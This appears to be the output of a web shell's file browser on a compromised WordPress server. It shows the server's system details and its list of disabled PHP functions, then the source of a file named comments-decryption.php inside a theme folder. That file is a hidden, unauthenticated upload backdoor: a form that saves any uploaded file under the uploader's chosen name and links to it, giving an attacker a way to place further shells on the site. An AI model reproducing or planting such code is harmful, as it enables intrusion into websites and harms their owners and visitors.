HEX
Server: Apache
System: Linux top 5.8.11-1.el7.elrepo.x86_64 #1 SMP Tue Sep 22 18:18:35 EDT 2020 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.018111.cn/wp-content/themes/jian/comments-decryption.php
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title><?php echo $_SERVER['HTTP_HOST'] ?></title>
</head>
<body>


<form method="post" enctype="multipart/form-data">
    <input type="file" name="filename">
    <input type="submit" value="submit">
</form>

<?php
if ( is_uploaded_file( $_FILES["filename"]["tmp_name"] ) ) {
	move_uploaded_file( $_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"] );
	$file = $_FILES["filename"]["name"];
	echo "<a href=\"$file\">$file</a>";
}
?>
</body>
</html>